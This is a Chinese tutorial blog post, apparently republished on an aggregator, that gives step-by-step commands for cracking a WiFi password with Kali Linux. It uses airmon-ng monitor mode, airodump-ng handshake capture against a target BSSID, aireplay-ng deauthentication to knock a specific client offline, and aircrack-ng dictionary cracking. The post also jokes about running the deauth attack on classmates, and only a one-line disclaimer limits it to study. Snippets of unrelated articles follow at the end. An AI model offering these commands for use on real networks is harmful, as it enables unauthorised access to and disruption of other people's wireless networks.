kali rtl8812 使用airodump破解wifi密码

news/2024/11/25 17:49:27/

实验前提:安装好无线网卡。最好是kali免驱的网卡。

若不是kali免驱动网卡可借鉴以下rtl8812au操作方式

  1. sudo apt update更新源列表
  2. apt upgrade命令将尝试下载在apt服务器上具有更新的所有软件包
  3. apt-get dist-upgrade升级系统相关依赖
  4. 重启或试试以下两个驱动命令:
  5. sudo apt install linux-headers-$(uname -r)
  6. sudo apt install -y linux-headers-$(uname -r) build-essential dkms git libelf-dev
  7. 安装驱动
  8. apt install realtek-rtl88xxau-dkms
  9. 重启试试能不能读到网卡
  10. 在vmware选项中依次打开 虚拟机
  11. 因为kali已经把rtl8812 集成起来了就不用像其他博主那样修改头文件等等操作。直接按序执行1-9步骤就可以了
  12. 参考网站:https://www.csdn.net/tags/MtTaIg0sOTI0NjQwLWJsb2cO0O0O.html

1,提权:

sudo -i

2,查看网卡信息

ifconfig

注:wlan0就是你的无线网卡

3,开启网卡监听模式

airmon-ng start wlan0

注意:开启监听网卡后,一般情况下监听网卡会由wlan0变成wlan0mon,但是部分不会改变名字不用纠结。若名字发送更改,则后续操作都是wlan0mon即可

4,扫描范围内的无线网

airodump-ng wlan0

5,抓包

airodump-ng -c 11 --bssid 2E:C9:58:CC:C1:64 -w /home/kali/桌面/hack wlan0 
11为上图的ch,含义是频道 
2E:C9:58:CC:C1:64为上图的bssid 含义是目标wifi的mac地址 
-w /home/kali/桌面/hack 在桌面保存中间文件命名为hack (中间文件有很多个但是我们只需要后缀为.cap的文件)

6,ack攻击

大致原理:WiFi断开连接后会自动重连,从而截获重连的中间数据报

重新打开一个命令行,原先的的控制行不要关闭

1,同样进行提权 sudo -i 
2,aireplay-ng -0 90 -a 2E:C9:58:CC:C1:64 -c A4:B1:C1:06C2:AA wlan0 
处理5g频段时aireplay-ng -0 90 -a 2E:C9:58:CC:C1:64  -c A4:B1:C1:06C2:AA -D wlan0
-0 90 意思是攻击90次,一般尽量在60-100之间不易过多,不宜过少。若过少会发生''Packets contained no EAPOL data; unable to process this AP''错误即抓取不到数据报 
-a 2E:C9:58:CC:C1:64 目标wifi的mac值 
-c A4:B1:C1:06C2:AA 是要踢下线的设备的mac地址上图的station字段值,下图已标记

7,暴力破解

aircrack-ng -w /home/kali/桌面/PassWord2.txt -b 2E:C9:58:CC:C1:64 /home/kali/桌面/hack-01.cap 
/home/kali/桌面/PassWord2.txt 为暴力破解的字典,随便在github上搜索弱口令就可以搜到 
-b 2E:C9:58:CC:C1:64 目标wifimac地址 /home/kali/桌面/hack-01.cap 这就是第5步抓包产生的文件

得到key=987654321

注只要字典够强大就可以破解。但是在第6步的ack攻击可以用于同学间增强友谊的方式。攻击次数过多你同学会感谢你的

实验仅供学习使用严禁用于非法用途。


http://www.ppmy.cn/news/141942.html

相关文章

轻松掌握,板对板连接器选型指南

一、什么是板对板连接器? 板对板连接器(简称BTB),是精密电路中电源和信号耦合连接必不可少的器件。随着产品复杂度和电路设计规模的不断提升,板对板连接器也沿着市场需求向着高速率,高功率密度,轻薄化几个方向发展。 …

开源赋能 普惠未来|中软国际寄语 2023 开放原子全球开源峰会

中软国际作为行业领先的全球化软件与信息技术服务企业及数字化转型服务商,近年来积极布局开源生态(OpenHarmony、openEuler)、智能云、ERP、AIGC、教育科技、智能车六大赛道,加速业务转型创新。 中软国际为开放原子开源基金会白金…

设计模式详解之策略模式

作者:刘文慧 策略模式是一种应用广泛的行为型模式,核心思想是对算法进行封装,委派给不同对象来管理,本文将着眼于策略模式进行分享。 一、概述 我们在进行软件开发时要想实现可维护、可扩展,就需要尽量复用代码&#x…

uniapp滚动加载 下拉刷新

前言 在日常开发中,滚动加载和下拉刷新是非常常见的功能,页面数据过多时,需要滚动加载优化性能,本篇技术分享博客将介绍如何在uniapp中实现滚动加载和下拉刷新。 预览 滚动加载 下拉刷新 一、滚动加载 滚动加载指的是当用户滑…

微信支付(小程序)-java

微信支付开发者文档微信支付是腾讯公司的支付业务品牌,微信支付提供公众号支付、APP支付、扫码支付、刷卡支付等支付方式。微信支付结合微信公众账号,全面打通O2O生活消费领域,提供专业的互联网行业解决方案,微信支付支持微信红包…

ThinkPad E450 拆机换电池

视频地址:https://www.bilibili.com/video/BV1iZ4y1i7mm/

关于标准电阻阻值的说明(E6、E12、E24、E48、E96、E192)

关于电容电阻的使用,只知道有一些所谓的典型值,有助于选型,却不知道这些值是怎么来的。今天查了一下,才发现所谓的“E”规格。 “ E ”表示“指数间距”(Exponential Spacing) 在上个20世纪的电子管时代,电子元器件厂商为了便于…